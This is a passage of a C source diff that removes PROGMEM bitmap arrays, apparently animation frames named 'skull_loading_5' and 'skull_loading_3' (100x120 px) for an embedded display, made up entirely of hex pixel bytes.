0x00, 0x00, 0x00, 0x0f, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x03, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x18, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'skull_loading_5', 100x120px -const unsigned char bitmap_icon_skull_loading_5 [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, - 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x93, 0x90, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x80, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x9a, 0x00, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x80, 0x01, 0x0c, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x84, - 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xce, 0x00, 0x1c, 0x82, 0x20, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x8c, 0x01, 0x0c, 0x02, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x31, 0xb0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, - 0x70, 0x08, 0x73, 0x08, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x21, 0x0c, 0x61, - 0x18, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x52, 0x41, 0xb0, 0xb4, 0x80, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x84, 0x61, 0x00, 0x60, 0x18, 0xc0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x84, 0x60, 0x00, 0x60, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x40, 0x18, 0x02, 0x24, 0x30, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x71, 0x88, - 0x03, 0x08, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x61, 0x88, 0x37, 0x18, 0x63, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x40, 0x04, 0x20, 0x30, 0x80, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x60, 0x09, 0x63, 0x10, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x03, 0x18, 0x50, 0x10, 0x06, 0x15, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x20, - 0x98, 0x20, 0x0c, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x20, 0x08, 0x00, 0x0c, - 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x58, 0x02, 0x00, 0x10, 0x25, 0xa0, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x73, 0x00, 0x60, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x84, 0x33, 0x00, 0x20, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, - 0x50, 0x12, 0x73, 0x9c, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x30, 0x00, 0x63, - 0x08, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x80, 0xa4, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x8a, 0x33, 0x98, 0x01, 0x15, 0xe0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x41, 0x8c, 0x61, 0x08, 0x00, 0x58, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0xc2, 0x50, 0x00, 0x00, 0xb4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x62, 0x80, - 0x00, 0x0c, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x31, 0x88, 0x00, 0x0c, 0xe2, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, 0x52, 0x00, 0x84, 0xa4, 0x20, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x01, 0x0c, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x03, 0x08, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x00, - 0x02, 0x41, 0x80, 0x00, 0x38, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x63, 0x00, - 0x00, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x00, 0x00, 0x90, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x20, - 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x18, 0x63, 0x9c, 0x00, 0x00, - 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x40, 0x12, 0x92, 0x90, 0x01, 0xa0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x80, 0x03, 0x00, 0x63, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0xc0, 0x02, 0x00, 0x63, 0x20, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x48, 0x12, - 0x90, 0x9c, 0xa5, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x01, 0x08, 0x62, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0x01, 0x94, 0x25, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0xc0, 0x78, 0x80, 0xb0, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x01, 0x84, 0x69, 0x00, 0x61, 0x18, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, - 0x52, 0x00, 0xa0, 0xb4, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x80, 0x00, 0x80, - 0xa2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x80, 0x00, 0x00, 0xc2, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, 0x42, 0x00, 0x25, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x06, 0x00, 0x00, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1a, 0x01, - 0x84, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x0c, 0x21, 0x08, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x41, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x08, 0x43, 0x18, 0x20, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x0c, 0x21, 0x0c, 0x62, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, - 0x00, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x61, 0x1c, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xc2, 0x12, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x03, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0xff, 0xe1, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xff, - 0xc5, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, - 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'skull_loading_3', 100x120px -const unsigned char bitmap_icon_skull_loading_3 [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, - 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x60, 0x08, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, - 0x08, 0x42, 0x1c, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x08, 0x60, 0x08, - 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x1a, 0x00, 0x00, 0x24, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x03, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x8c, 0x01, 0x00, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x10, 0x00, 0x22, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x61, - 0x00, 0xe2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x40, 0x00, 0xa3, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xa0, 0x60, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x02, 0x00, 0x80, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x01, 0x80, 0x04, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x41, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x01, 0x20, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, - 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x08, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x80, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x40, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0x80, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x00, 0x00, 0x00, 0x18, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x1a, 0x00, 0x24, 0x84, 0x80, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x61, 0x10, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x8c, 0x60, 0x00, 0x62, 0x10, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x10, 0x00, - 0x00, 0x04, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x31, 0x00, 0x00, 0x08, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x61, 0x80, 0x00, 0x18, 0x00, 0x38, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x10, 0x04, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x31, 0x84, 0x41, 0x00, 0x00, 0x08, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x93, 0x08, - 0x12, 0x10, 0x82, 0x0c, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x98, 0x21, 0x84, - 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x88, 0x43, 0x08, 0x02, 0x10, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x40, 0x02, 0x96, 0x10, 0x20, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x84, 0x73, 0x0c, 0x40, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x84, 0x63, 0x0c, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x94, - 0x94, 0x20, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x21, 0x0c, 0x00, 0x40, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x40, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, - 0x08, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x81, 0x80, 0x00, 0x00, 0x80, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, - 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x46, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 